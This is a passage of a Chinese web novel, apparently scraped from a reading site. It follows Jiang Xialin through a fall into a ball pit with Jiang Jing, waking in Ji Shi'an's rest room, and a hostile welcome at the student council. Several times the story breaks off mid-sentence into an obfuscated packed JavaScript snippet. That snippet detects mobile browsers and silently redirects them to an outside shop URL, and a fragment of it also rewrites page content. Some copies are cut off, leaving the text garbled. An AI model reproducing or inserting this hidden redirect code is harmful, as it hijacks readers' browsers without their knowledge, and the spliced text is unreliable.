片刻后，他才像是终于下定了某种决心，单膝曲起，在她身侧蹲了下来。 这个姿势让他迫人的身高带来的压迫感稍减，得以与她平视。 随后，他伸出一根手指，指尖冰凉，带着不容抗拒的力道，轻轻抵住她汗湿的下颌，将她的脸抬了起来。 “说。”他声音压得很低，带着一种危险的耐心，“赵家的事，是不是你做的？” 四目相对。 姜夏琳迷蒙的双眼眨了眨，苍白的唇角极其缓慢地，勾起一个微弱却清晰的、得逞般的弧度。 下一秒—— 原本像虾米般蜷缩的身体骤然爆发出惊人的力量，如同被压缩到极致的弹簧猛地弹开！ 系统的惩罚从被江竞的指尖触碰后便不断减弱，力量重新涌回四肢，这一刻她爆发出的速度和力量，与之前的虚弱判若两人。 江竞根本来不及反应，脖颈便被一双骤然发力的手臂死死环住！ 姜夏琳借助身体前冲的惯性，狠狠地将他扑向左侧那片——她早已用余光计算好的，被厚重阴影笼罩着，一时间根本看不出具体深度与情况的—— 深坑。 “姜——！！” 江竞惊怒的声音只来得及爆发出一半，便被骤然下坠时产生的失重感粗暴地截断。 他完全没能预料到这突如其来的反击，身体没有任何挣脱的机会。 姜夏琳双臂紧扣，死死地缠着他。 下坠的过程中，脸颊不可避免地狠狠撞上他因惊愕和发力而显得格外僵硬的胸膛。隔着薄薄的衣料，能感受到下面紧绷的肌肉和温热的体温。 系统的惩罚令她浑身上下每一条神经还都停留在痛苦的余韵中，而这肌肤相贴、气息交融的混乱瞬间，一股奇异的、冰冷的触感，像微弱的电流，倏然从接触点窜过她的四肢百骸。 系统带来的那股细密而磨人的痛楚，在此刻宛若退潮的海水，迅速地减弱，消散。 这突如其来的解脱感让她有瞬间的茫然，忍不住身前的热源更贴近了些。 下坠并未停止。 “哗啦——！！！” 巨大的、沉闷的落水声，在下一瞬间轰然响起，如同平地惊雷，彻底打破了仓库里的死寂—— 无数五彩斑斓的塑料海洋球，如同被惊扰的鸟群，又像是地底喷发的、无声的彩虹，疯狂溅射、飞扬开来。 一场突兀而宁静的庆典突然在黑暗的仓库中爆发开来。只是无人知晓。 海洋球扬起，又劈头盖脸地砸落，淹没了视线和听觉。 那轻飘飘的却又无处不在的触感瞬间包裹了全身，将现实与幻觉的边界彻底模糊。 两道紧密纠缠、一同下坠的身影，迅速被这片喧嚣的寂静，彻底吞没。 姜夏琳被混乱的感官裹挟着，疲惫和残余的剧痛如同潮水般漫上，侵蚀着她仅剩的意识。 五指在拥挤的球体间无力地抓挠了几下，终究什么也没能握住，世界便彻底沉入黑暗。 光怪陆离的幻象如同破碎的胶片，在脑海中疯狂闪动。 她恍惚 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一阵低沉的咕哝声，仿佛从很远的地方传来，模糊地钻进她的耳朵。 这声音有几分耳熟，可她混沌的大脑像塞满了棉絮，一时无法分辨。 姜夏琳痛苦地拧紧眉头，睫毛剧烈颤抖着，挣扎了许久，才甩脱记忆，艰难地掀开了眼皮。 明亮的光线瞬间刺入，让她下意识地想偏头躲闪，喉咙却紧接着传来一阵被砂纸磨过般的干灼剧痛，连一丝细微的呻吟都无法顺利发出。 她缓了好一会儿，模糊的视野才渐渐聚焦。 自己正躺在一张柔软宽敞的床上，房间布置简洁而雅致，像是高级酒店的客房。 厚重的窗帘半掩着，外面的阳光透过缝隙，在米白色的被子上投下清晰的窗棱影子。 而床边，一道身影正静静地坐在那里—— 她恍惚的视线努力向上移动，当终于看清对方的侧颜时，姜夏琳忍不住倒吸了一口微弱的凉气，牵动着喉咙又是一阵撕扯的痛。 季时安。 他怎么会在这里？ 他穿了身舒适的休闲服，正专注地看着膝上的笔记本电脑，微蹙的眉宇间带着专注的神情，修长的手指在触控板上轻轻滑动。 似是察觉了到她的注视，他从屏幕上移开视线，转过脸来。 四目相对。 他眼眸深邃，依旧是她记忆里那潭望不见底的墨色。只是此刻，那墨色里漾着的光格外清润温和，连带着微微低垂的眼尾都染上几分不曾见过的松弛，竟莫名给人带来一种安心的力量。 “……咳。”姜夏琳张了张嘴，试图发声，却只换来喉间更尖锐的痛楚。 见状，季时安将笔记本电脑合上，放到一旁的床头柜。 他身体往前挪动了下，俯身靠近，带着冷调的木质香随之侵袭到姜夏琳四周。 紧接着，他自然地伸出手，将她额前被汗水濡湿的几缕碎发撩开，随后，指腹轻柔地贴上了她的额头。 15. 第 15 章 肌肤相接的瞬间，姜夏琳浑身一个冷颤。 她后知后觉地感到自己身体的温度有多异常，像烈日下滚烫的沙地。 “烧退了不少，”季时安的声音将她飘忽的思绪拉回，他收回覆在她额上的手，转身从床头柜端起一杯水，“再休息一会儿就好。” 姜夏琳接过玻璃杯，指尖在温热的杯壁上停留片刻。 水温恰到好处，她犹豫了一瞬，还是就着杯沿缓缓饮尽。清水滑过干涸的喉咙，那刀割般的刺痛感终于舒缓了些许。 “……这是哪里？”她艰难地开口，声音嘶哑得厉害。 季时安接过空杯，随手放在一旁，目光平静地扫过她：“是我在未来大学的私人休息室。” 他的话音落下，姜夏琳微怔，随即下意识地打量扫视起自己所处的空间。 房间不算宽敞，但陈设考究。浅灰墙面与原木家具搭配得宜，看似简约，细节处却透出精心。 最引人注目的是对面整墙的书架，上面整齐排列着各类编程原理的专业书籍，期间夹杂着几本医学专著，看起来秩序井然。 但无论如何，这毕竟是个相对封闭的空间…… 姜夏琳眼中不自觉地流露出一丝戒备。 季时安注视着她的侧脸，不知是否感受到了什么，很快补充：“这里的安保权限很高，目前只有我能进出。你现在很安全。” 安全。 这个词让姜夏琳紧绷的神经稍稍放松，却也让她想起导致这一切的源头。 脑中不受控制地浮现出昏迷前的最后一幕—— 下坠时耳边呼啸的风声，五彩斑斓的海洋球扑面而来，江竞那双充满戾气的眼睛，还有……系统冰冷的警告音。 “江竞……在哪？”她冷不丁问道，声音里带着自己都没察觉的紧张。 听到这个名字，季时安眉梢微动，似乎对她的直接有些意外。 “你是说，和你一起在储藏室里的那个男生？”他斟酌着用词，语气平缓。 闻言，姜夏琳微启的唇瓣一顿，又顿住，目光不动神色地在他脸上梭巡—— 刚刚经历过江竞的事，她无法轻易放下防备。 尽管季时安的反问表明他和江竞并不相熟，但她还是怀疑…… 眼前的这个人，是否对她另有所图，是否……值得她讲出方才发生的一切。 可……对方毕竟是救了自己的人。 想到这，姜夏琳把这些纷乱的思绪暂且压下。她迟疑片刻，终究用力点了点头：“没错，那个穿灰色运动服的男生。” 在她犹豫的间隙里，季时安只是在一旁安静地看着她。 她的肌肤很白，在受了惊吓后更显出一种脆弱的透明感，皮肤纤薄处的血管都依稀可见。 高烧却又让她的鼻尖、脸颊晕开一股不自然的绯红，几缕垂顺的乌发贴在颊边，衬得她像一尊精心雕琢的古瓷器，一碰便会破碎。 听到她的回答，季时安收回视线。 他半垂下眼帘，修长的手指在膝上轻轻敲击，过了一会儿，才缓缓开口：“回答你之前，我觉得有必要先解释一下我为什么会出现在那里。” 他略作停顿，似乎在组织语言。 “我转来不久，对校园还不熟悉。今天原本要去计算机院的实验楼，中途看见了你。本想打招呼，你却盯着手机，径直拐进一条小路，进了那栋没有标识的建筑。” “我本来已经离开，但没走多远，就听到里面传来不小的动静。”说到这，他的语气依然平稳，眼神却透出几分锐利，“很快有一批人从那个方向跑出来，神色慌张。” “落在最后的人还背着一个失去意识的男生……大概就是你所说的江竞。不过，我始终没看到你。” “所以我又折返回去，”他的目光落在她脸上，带着些许迟疑，“然后……在一个堆满海洋球的池子里找到了你。” 说到这里，季时安的神色严肃起来，身体微微前倾：“当时你半个人被埋在海洋球下面——虽然这些只是庆典用的道具，但在那种情况下也有窒息的风险。” 他微顿了下，声线突然变得认真：“当时到底发生了什么？” 听到第三者如此客观的描述，姜夏琳突然感到一阵迟来的后怕。 她当时无路可退，才不得已拖着江竞一起跳进池子，却没想到他的人竟如此狠心，将她一个人丢在那里。 更让她恐惧的是，如果季时安没有折返，如果他没有发现她…… “江竞...对我有些误会。”她斟酌着用词，不想再提起赵绍辉那些令人不悦的往事，“他们把我骗到那个房间，想逼我承认一些莫须有的事情。我实在无路可逃，所以就……” “所以把他推了下去？”季时安接话，语气里听不出是赞同还是反对。 姜夏琳尴尬地摸了摸鼻尖。 兴许是因为对方救了自己的这一认知让她放松了警惕，她不自觉地说了实情，现在想来，那时的举动确实缺乏理性，但在当时的情境下，似乎也别无选择。 “……算是情急之下，不得已。”她含糊道。 季时安的目光在她脸上停留片刻，然后神情忽然放松了些，轻轻点头：“你没事就好。” 房间里陷入短暂的沉默。 阳光透过半开的窗帘，在两人之间投下一道明亮的光带，尘埃在光柱中缓缓飞舞。 姜夏琳眼神微微挪动，注意到季时安的手指无意识地摩挲着床单上的褶皱，像是还在思考着什么。 随后，他突然开口：“……那个房子里，除了你和江竞的人，还有别人吗？” “别人？”这个问题让姜夏琳有些意外，她微微蹙眉，“里面黑漆漆的，我什么都没看见……为什么这么问？” 季时安撇开目光，声音压低了些：“江家的作风我有所耳闻……只是觉得，事情可能没有那么简单。” 说罢，不等她追问，他就站起身，拉开床头柜翻找起什么，避开了她的视线。 不一会儿，他从柜子里找出一板药片，转身递给她时，有什么东西随之滑落，轻轻掉在床单上。 姜夏琳接过药片，扫过上面清晰标注的“感冒药”字样，然后不由自主地看向一旁掉落的东西—— 那是一条银白色的项链。 链身纤细，光泽柔和，正中镶嵌着一枚小巧的钻石，在微弱光线下流转着细碎的星芒。 姜夏琳越看越觉得这条项链眼熟。 正思忖着这股熟悉感来自哪里，她脑中突然闪过一个画面，手指下意识地抚上自己的脖颈—— 这不是她在新生宴会上戴的那条项链吗？ 它怎么会在这里？ ……是在什么时候不小心掉了吗？ 可她那天晚上被陆临川给的那支U盘弄得心烦意乱，完全不记得自己回家时还有没有戴着这条项链了。 困惑与一丝莫名的紧张涌上心头，姜夏琳强迫自己移开视线，试图将这个意外的发现轻描淡写地略过，却被季时安抓个正着。 他顺着她的视线看向项链，轻轻将它拾起，像是生怕给它带来什么损伤。 “你认得这个？”他将项链举到两人之间，墨黑的眼瞳越过晃荡的链条，定定地看着姜夏琳。 姜夏琳已经决定要装作从没在新生宴会上遇到过他，理所当然地摇头：“不认识，只是觉得很漂亮。” 她停顿了一下，试探性地问道：“这是你的吗？” “当然不是。”季时安轻轻笑了，“我只是，很想知道它的主人是谁。” ……那不就是她吗？姜夏琳在心里默默回答。 但季时安为什么想知道这件事？ 明明，新生宴会那天他醉得不省人事，就算在休息室有过短暂的照面，也不该对她留下什么特殊的印象。 “为什么？”姜夏琳忍不住问。 季时安没有立即回答，目光凝在那颗小小的钻石上，静默片刻，才轻声道：“……因为，这对我很重要。” 这句话反而让姜夏琳更加不明所以。 她想要继续追问，视线却不经意扫到房间角落里一片大面积的浅色—— 那是一个木质衣帽架，上面挂着一件米色长款外套，无论怎么看，都是只有女生会穿的款式。 一切忽然与新生宴会那晚的偶遇重叠。 某种难以言喻的情绪悄然弥漫开来。 她想起系统S001的警告—— 她必须随时维持好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你的手机。”他的目光落在布满蛛网般裂痕的屏幕上，“找到你的时候，它掉在海洋球池边，屏幕摔碎了。刚刚你睡着的时候，它响了好几次。” 闻言，姜夏琳微微一怔。 她接过那部熟悉的手机，指尖触到冰凉的碎屏边缘。点亮屏幕，刺眼的裂痕下，通知栏里赫然躺着十几条未接来电的提示，全都来自陌生的本地号码。 她的心猛地一沉。 江竞……或者是他那边的其他人？ 他们怎么会知道她的号码？ 是想确认她的状况，还是……别的什么？ 纷乱的猜测瞬间涌上，让她好不容易平息下来的神经再次绷紧。 她没有丝毫犹豫，拇指长按侧边的按键，在季时安沉静的注视下，干脆利落地将手机关了机。 细微的震动传来，屏幕紧跟着彻底暗了下去，像一只骤然阖上的眼睛。 姜夏琳将手机紧紧攥在手心，冰凉的碎片边缘硌着掌心，带来一丝细微的痛感，反而让她混乱的思绪稍稍安定。 季时安看着她这一系列动作，没有追问，只是自然地侧身，朝休息室门口的方向略微抬了抬手。 他送姜夏琳到休息室门口，握住门把，向外推开—— 门外并非空无一人。 一男一女正倚在对面的墙壁上，姿态透出明显的不耐。 听见开门声，其中的男生抬起头，目光触及姜夏琳的瞬间，话头猛地刹住，脸上掠过一丝错愕。 姜夏琳盯着他的脸看了两秒——有些眼熟，却一时想不起在何处见过。 就在这时，旁边的女生猛地冲上前，几乎撞到姜夏琳面前。 “——你是谁？”她声音尖利，目光像钩子一样死死钉在姜夏琳脸上，“你怎么会在时安哥房间里？你们刚才在干什么？！” 一连串质问劈头盖脸砸来，在空旷的走廊里激起回音。 姜夏琳下意识向后缩了缩肩。 她定睛看去，终于认出了这张脸—— 是新生宴会上，那个搀扶着醉酒的季时安的女生。 彼时，对方对她的态度也是这般厌恶。 16. 第 16 章 那女生的目光像淬了毒的刀锋，在姜夏琳身上来回刮过，最终定格在她略显凌乱的衣领处。 只是一瞬间的停顿后，她唇角便勾起毫不掩饰的讥诮：“现在的人，都这么没分寸了？随随便便就往私人休息室里钻？” 此话一出，姜夏琳清晰地感觉到，身前的季时安周身气息骤然一沉。 他向前半步，不着痕迹地将她完全挡在身后，声线平稳，却压着明显的冷意：“邵晏舒，注意你的言辞。” 被直呼全名的女生脸色顿时难看起来。 但她还是不依不饶地昂起下巴，视线越过季时安的肩膀，瞪着姜夏琳，狠狠地开口：“你是谁？凭什么在时安哥房间里？” “——邵晏舒！”季时安蹙眉，向来平淡的语调抬高了几分，带着明显的警告意味。 尽管姜夏琳安静地隐在季时安身后，大半个身体都被他遮住，但她确信对面的邵晏舒可以看到自己的脸。 可自始至终，对方的眼里除了汹涌的、毫不掩饰的敌意，再无其他。 ——看来，她也不记得曾经见过自己了。 和季时安一样。 平心而论，邵晏舒生得很漂亮，是那种被娇惯滋养出的、带有攻击性的明艳。即便在美人云集的未来大学，也足够醒目。 只是此刻，那张姣好的面容因怒气而微微绷紧，眼底燃着的怒火几乎要将人灼穿。 姜夏琳无意与她纠缠，僵持中，又不动声色地把身子往季时安背后缩了缩。 这细微的躲闪，却被邵晏舒抓了个正着。她涂着釉亮唇彩的唇瓣微张，更尖利的话语即将脱口而出—— “应星，”季时安抢先一步，目光越过她，落向后方的男生，“麻烦你，先送姜小姐离开。” 姜夏琳循着他的视线望去，这才仔细打量起后方那个一直没有说话的男生。 他和三人间隔着一段明显的距离，身体懒散地倚着墙，微长的发梢微微遮住眉眼，末端带着些不经意的卷曲。 走廊壁灯的光线在他周身勾勒出一圈朦胧的光晕，他兀自垂眸盯着脚下深红色的地毯出神，对近处的争执充耳不闻，连季时安的呼唤都没能听见。 “裴应星。” 见状，季时安加重了语气，眉峰蹙得更紧。 “……嗯？”像是骤然回神，裴应星眼睫动了下，目光迟缓抬起，最终落在姜夏琳身上。 “走了。”他言简意赅，甚至没等她回应，便已转身迈步。 姜夏琳愣住，随即反应过来，匆匆对季时安低声道了句“再见”，赶忙快步跟上去。 季时安的休息室位于长廊尽头，紧邻着一道直角弯。 姜夏琳追着裴应星的背影拐过去，眼前却猝不及防的一暗—— 一堵人墙赫然出现在身前。 脚下来不及刹车，她眼睁睁地看着自己向这堵高墙撞去，惊得差点呼出声，下一秒，却被一只温热的手掌迅速捂住了嘴唇。 她被这股力量带着，重重跌进一个萦绕着清浅气息的怀抱。 “别出声。”裴应星压低的嗓音擦过耳廓，短促而清晰。 走廊上厚重的地毯吸收了所有杂音，一片死寂中，拐角另一侧的对话声清晰地传了过来。 “……你的外套，干洗过了，谢谢。”是季时安的声音，听起来他返回房间取出了什么。 “不客气，时安哥。”邵晏舒接过东西，语气刻意放柔，“那下次……” “邵同学，”季时安温和地打断她，用上了拉开距离的称谓，“这里是我的私人空间，不接待访客。希望你能理解。” “……私人空间？”邵晏舒强压着脾气，嗓音还是按耐不住拔高了，“那刚才那个女生呢？她为什么能进去——季时安，新生宴会那天晚上，是你主动和我搭讪的！” “是。”季时安捏了捏额角，声音里带着一丝疲惫，却十分清晰，“邵叔叔为我的研究项目提供了资金支持，我很感激。那晚找你，本是想当面致谢。” 沉默了几秒，邵晏舒不甘地追问：“只是这样？那你后来让我带你去休息室……” “因为，”季时安顿了顿，声线忽然变得专注，“一个对我项目很重要的人，当晚可能会出现在那里。但我不知道路。邵晏舒，你还没告诉我，那天晚上休息室里到底有什么人。” 邵晏舒显然没料到这个答案，尚未消散的怒意再度翻涌：“你接近我，就为了找别人？” 良久过去，季时安都没有出声。 可沉默就是回答。 “……真没意思。” 邵晏舒微微颤抖的声音响起，随之而来的，是她高跟鞋重重踩在地毯上的闷响，一声一声声，由远及近—— 朝着姜夏琳所在的拐角后来了！ 来不及慌乱，姜夏琳就感觉到自己手腕已被一只温热有力的手攥住。 她惊愕抬头，只堪堪捕捉到裴应星利落的下颌线，下一秒，便被他拉着转身疾走。 不过两三步，他就敏捷地拉开一道隐藏在墙面的暗门，带着她闪身而入。 起初姜夏琳还担心邵晏舒是否会发现他们，可很快，她就把这个念头抛到了脑后。 接下来的路程，宛如在迷宫深处穿梭。 裴应星显然对这片区域的构造了如指掌，钻进暗门后，又接连带着她在数条光线昏暗、堆放着杂物的后勤通道里快速穿行，左拐右绕。 尽管姜夏琳的手腕被他牵着，也只能勉强跟上。 复杂的路径迅速吞噬了她的方向感，没过多久，她便只能将一切交给前方那个沉默的背影。 就在姜夏琳几乎要被这种晕头转向的感觉淹没时，裴应星终于在一扇不起眼的旧木门前停下。 他毫不犹豫地推开门—— 裹挟着水汽与植物清香的凉风扑面而来。 门外，夜色已浓。 不远处，未来大学标志性的中心湖躺在夜幕下，湖岸线是近乎标准的圆，却是千百年来自然演变的结果，毫无人工干预。 近处，大片芦苇生得茂密，高度几乎齐腰，恰好在两人与远处的行人、湖面之间，隔出一道天然屏障。 裴应星松开姜夏琳的手腕，独自向前走了两步，停在芦苇丛边缘。 他背对着她，昂起下巴，眺望着那片在夜色中泛着细碎微光的湖面。 月光描摹着他清瘦挺拔的背影，直到这时，姜夏琳才注意到他微卷的发尾在月光下泛着深红色的光泽，像是刚染过不久。 她揉了揉仍有些发红的手腕，声音里还带着未平复的紊乱：“刚才……是怎么回事？” 裴应星闻声转过身，眉梢一挑，脸上那点残余的紧绷感顿时消散，换成一个清爽明朗，带着点少年气的笑：“托你的福，时安哥总算能把那位大小姐请走了。不过——” 他话锋一转，目光在她脸上停了停，“你和时安哥，到底是什么关系？” 没料到他会突然这么问，姜夏琳不着痕迹地蹙了蹙眉：“……房东和租客。仅此而已。” “……不是他的追求者？” “不是。” 裴应星不太相信地睨着她，一字一顿道：“最好不是。” “真的不是。”姜夏琳轻轻摇头，顺势将话题转向她真正在意的地方，“但他刚刚提到的‘项目’，到底是什么？” “项目？”闻言，裴应星的眼睛倏地亮了，像是瞬间忘了前一刻的对话：“是关于特殊信号解码与底层逻辑探究的……” 他说到一半，似乎意识到自己过于兴奋，又稍稍收敛笑意，“总之是计算机领域很前沿的方向。时安哥回国之前，我就读过他不少论文，没想到能在学校里跟他本人合作。” 他语气忽地一转，意有所指地看向她：“开学以来，邵晏舒总来找他，很耽误进度。所以，如果有人还想约他的话……” “放心，”姜夏琳听明白了，接过话，“我不会打扰你们工作。” “那就好。时安哥总算把人走，可别再来了。”裴应星叹了口气，仰头望了望天色，“什么都没干就这么晚了……我还得回实验室跑数据。“” 他自顾自转身要走，却又停下，回头瞥她：“跟上，这儿没路。” “……好。” 姜夏琳的应答还未完全落下，他已经迈开了步子。 她赶忙追上去。 月光清淡，两人一前一后，穿过沙沙作响的芦苇丛。脚下并无成形的路，只有交错密布的芦苇杆茎。 姜夏琳看不清地面，走得深一脚浅一脚，裙摆不时被勾住。 路程过半，她望着前方那道走得轻快的背影，忍不住开口：“裴同学，你怎么对这里这么熟？” “以前在这栋楼里做过小时工，”裴应星的声音随风飘来，平淡无波，“里外的小道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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或许是白日消耗了太多体力与心神，神经绷紧后又骤然放松，她几乎是沾枕即眠，陷入一片无梦的黑暗。 再醒来时，窗外已是天光大亮。 钟管家照例在固定时间敲门，得到应允后便端着温水进入房间。 她站在床侧，对照手中的平板电脑，用那种训练有素、平直无波的语调，开始汇报今日的行程安排。 姜夏琳安静听着，目光落在纯白被套的褶皱上，思绪却并未跟随那些冗长的条目。 等对方终于结束，她才缓缓转过脸，看向床头柜上那部屏幕碎裂的手机。 “钟姨，”她开口，声音还带着刚醒来的微哑，“有几件事，需要你帮忙。” 闻言，钟管家滑动屏幕的手指停住，抬眸投来一瞥。 在过去的这段时间里，大小姐从未这般郑重地向她提出过请求。 “您说。”她很快答复。 一夜过去，手机已经充好了电重新开机。 姜夏琳拿起那部手机，点亮屏幕，蛛网般的裂痕下，十几条来自未知号码的未接来电提示依旧刺眼地排列着。 “请给我准备一支新手机，和一张新的电话卡，”说着，她将手机递过去，“还有，昨天下午，有很多陌生号码打进来，麻烦你查一下这些号码的来源。” 钟管家接过手机，目光扫过屏幕，并未多问，只是微微颔首：“好的，小姐。我会尽快查明。” “还有，”姜夏琳顿了顿，指尖无意识地捻了下被角，“帮我查一个人。叫苏珏，是我们班的班长。我要她的联络方式，和详细的背景信息。” 苏珏。 这个名字在齿间轻轻滚过。那个总是亲和地与她交谈，却在昨天，用一条求助信息将她引入了江竞的陷阱。 钟管家在平板上快速记录着，应道：“明白。” “另外，”她想起什么，又补充道，“关于赵家被调查的案子，我想知道更具体的情况。新闻里说得太笼统，我需要知道始末，以及……目前牵扯到了哪些人。” “好的，小姐。”钟管家记录完毕，姿态恭敬地收起平板，“这三件事，我会尽快给您答复。” 没有追问，没有质疑，就像一台最精密的仪器接收了指令。 姜夏琳轻轻“嗯”了一声，垂下眼睫。 无论系统S001将她置于何种棋局，从现在起，她不会再只是被动等待的棋子。 她是姜夏琳，是姜家的大小姐。有些力量与便利，她必须学着去掌控，去使用。 哪怕，这或许也是某种意义上的扮演。 “对了，”像是忽然想起什么，她抬起眼，又问道，“季时安……昨晚回来了吗？” 17. 第 17 章 闻言，钟管家脸上那副训练有素的面具终于发生了几分松动，流露出一丝罕见的讶异。 “没有。”她回答得很快，语气是一贯的平稳，“季少爷自第一晚之后，就没有回来住过。据说是学校的研究项目事务繁忙，暂时住在校内的公寓更为便利。” 她稍作停顿，目光在姜夏琳脸上谨慎地停留了一瞬：“小姐，您问这个是……” “没什么。”姜夏琳垂眸，随即轻轻摇头，仿佛只是随口一问，“只是突然想起来。” 难怪，这些日子她从未在家里与他打过照面。 想起昨夜裴应星折返回实验室时那匆忙的背影，她对他们口中那个神秘项目的忙碌程度，终于有了几分模糊的实感。 前往学校的路上，黑色轿车平稳地滑过两旁栽满梧桐的林荫道。 姜夏琳靠在后排座椅里，膝上放着钟管家为她准备的备用手机。里面空空如也，只存了几个必要的联系人。 她划开屏幕，习惯性地点开校园论坛，浏览昨日错过的动态。 目光快速扫过那些关于社团活动、课程吐槽或着无关痛痒的名人八卦贴，悬了一夜的心总算稍稍落下—— 论坛里风平浪静，并没有出现与她、江竞，或是与那栋废弃储藏室相关的只言片语。 她关掉屏幕，将手机搁在一旁，转头望向窗外。 秋日的阳光透过车窗，在她沉静的侧脸上投下明明灭灭的光斑。 她指尖轻轻叩着真皮座椅的扶手，一下，又一下。 ……昨天情急之下的反击，确实有点过火。 拖着江竞一起坠入海洋球池，也不知道他有没有因此受伤。 以他那种睚眦必报、阴晴不定的性格，恐怕……不会轻易当作无事发生。 想到可能再次面对的麻烦，姜夏琳闭上眼，无声地叹了口气。 不久后，车子在未来大学气派的校门前停下。 距离第一节课还有些时间，姜夏琳下车，独自沿着宽阔的校道慢慢往前走。 清晨的空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那是个身量纤细的女生，两侧碎发被一丝不苟地拢至耳后，露出耳垂上一枚泛着矜冷光泽的珍珠耳钉。 姜夏琳记得她——面试时坐在长桌正中，脸上始终没什么表情的主面试官。 女生抬腕，目光扫过表盘，然后缓缓上移，落在姜夏琳汗湿的额发上。 “四分五十八秒。” 她开口，声线清冷，穿透大厅里的杂音。 “真会踩点。” 姜夏琳张了张唇，喉咙却干涩得发不出任何音节。 她勉强直起身，目光快速环视四周—— 彩带、气球，鲜红横幅上“学生会新成员迎新会”的字样映入眼帘。 显然，是她的闯入，让已然开始的迎新会暂时停了下来。 “姜夏琳，”女生——许如枫，姜夏琳从周围的低语中捕捉到这个名字——向前迈了一步，对她狼狈的模样视若无睹，继续说道，“学生会有史以来，还没招过像你这样散漫的成员。连迎新会都敢不来。” “我没有收到通知……”姜夏琳试图解释，却被对方打断。 “这里注重的是纪律、效率，与团队协作。”许如枫眼风扫过她，对她贸然的插嘴流露出明显的不悦，“很遗憾，你似乎还没有做好准备。” 说罢，她不再看姜夏琳，转而面向众人，拍了拍手：“迎新会到此结束。各位，请按方才公布的部门分配，去结识你们未来的同事吧。” 人群应声而动，低声交谈着四散开来。 不过片刻，就只剩下姜夏琳一人站在原地，像是被潮水遗留在沙滩上的孤石。 “……这到底是怎么回事？我被录取了吗？”她低声自语，难得地生出几分手足无措之感。 “当然是被录取了。”许如枫不知何时已经走近，一股浓烈而富有侵略性的花香调香水味迅速笼罩而来，“而且是迎新会开始前，陆会长破格提名的。” 姜夏琳猛地抬眼。 陆临川？ 虽然上次她确实略施伎俩，借着脚踝的伤试探着恳求他给一个机会—— 可他明明回答说，他不会插手。 “我叫许如枫，学生会副会长之一。”许如枫细长上挑的眼眸微微眯起，像在评估一件不合规格的物品，“鉴于你的出色表现，目前没有任何部门愿意接收你，不过……” 她停顿，目光扫过逐渐变得空旷的大厅，嘴角勾起一丝奚落的弧度。 “大家体谅你是新生，还是给你留了事情做。顶楼的档案室，今天就归你收拾。” “灰尘清干净，所有档案册按年份日期重新排序归档，一本都不许错。” 语毕，许如枫不再多看她一眼，利落地转身。 及腰的黑发随着她的动作在空中划出一道流畅的弧度，花香尾调被风带起，在她身后拖曳出一道无形的轨迹，久久不散。 她没有回头哪怕半秒，就这样径直地离开。 姜夏琳独自留在原地，感受着来自四面八方的、若有似无的视线。 那些目光滑过她，又迅速滑开，转向别处，或者与同伴交换一个意味深长的眼神。 始终，没有人上前与她搭话，连一句客套的问候也无。 姜夏琳面色平静，抬手，轻轻将一缕因奔跑而散落颊边的长发别至耳后。 然后，她转身，步履平稳地走向电梯，按下了顶楼的按钮。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998421|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 好像不知从何时起，她已经习惯了应付这样的场面。 档案室与会长办公室同位于顶楼，却处在走廊完全相反的两端。 循着门牌指示，她停在一扇厚重的深色木门前。 推开门的瞬间，一股混杂着陈年纸张、灰尘与轻微霉味的滞重空气便扑面而来，几乎令人窒息。 姜夏琳即刻蹙眉，下意识地用手背掩住口鼻，快步穿过两侧高耸密集、几乎压迫到天花板的书架丛，走向房间尽头那扇紧闭的、布满灰尘的窗户。 窗扇因久未开合而有些滞涩，她用了些力气才把它推开。初秋微凉的晨风涌入，搅动了室内凝滞的空气，卷起细微的尘粒在光柱中飞舞。 浑浊的气味被冲淡了些许。 她微微探身窗外，深深地呼吸了几口新鲜空气，才回身打量这个空间。 目光所及，书籍、卷宗、文件夹以各种匪夷所思的姿态堆叠着，上面还覆着一层厚厚的灰尘。 墙角蛛网密布，地面四处散落着纸张碎片，边角卷曲发黄。 这里显然被遗忘已久，若是只由她一个人清理，工作量可以说是一个天文数字。 “……唉。” 一声几不可闻的轻叹逸出唇边。为了留在学生会，姜夏琳别无选择。 在角落搜寻许久，她找到一块已然干硬的旧抹布，又去同楼层的卫生间打来半桶清水。 回到档案室，她将长发挽紧，然后卷起袖子，露出一截纤细的小臂。 一切准备就绪，她拿起抹布，走向最靠近门口的那个书架。 书架间的间距很窄，她磕磕绊绊地把卷宗推到一边，然后擦拭起堆积着灰尘的台面，胳膊好几次撞到了背后坚硬的书架边缘。 寂静中，只有抹布擦拭的沙沙声，和她清浅的呼吸。 不知过了多久，身后传来门被推开的轻响。 她下意识地回头—— 却猝不及防地，撞见了那个某种意义上造就她眼下处境的人。 陆临川站在门口，身上是惯常的素净白衬衫，袖口规整地挽至小臂。 他显然没料到会在这里见到她，清峻的脸上闪过一丝清晰的讶异，脚步在门槛处，微微一顿。 19. 第 19 章 但那点情绪快得像是错觉。 陆临川转瞬便恢复了平日的淡漠，视线平静地从姜夏琳身上滑开，仿佛她只是这混乱房间里一件不起眼的摆设。 他抱着厚厚一摞文件走了进来，鞋底踏在积着薄灰的木地板上，发出闷闷的声响。 姜夏琳没有立刻移开目光，就那样静静地看着他。 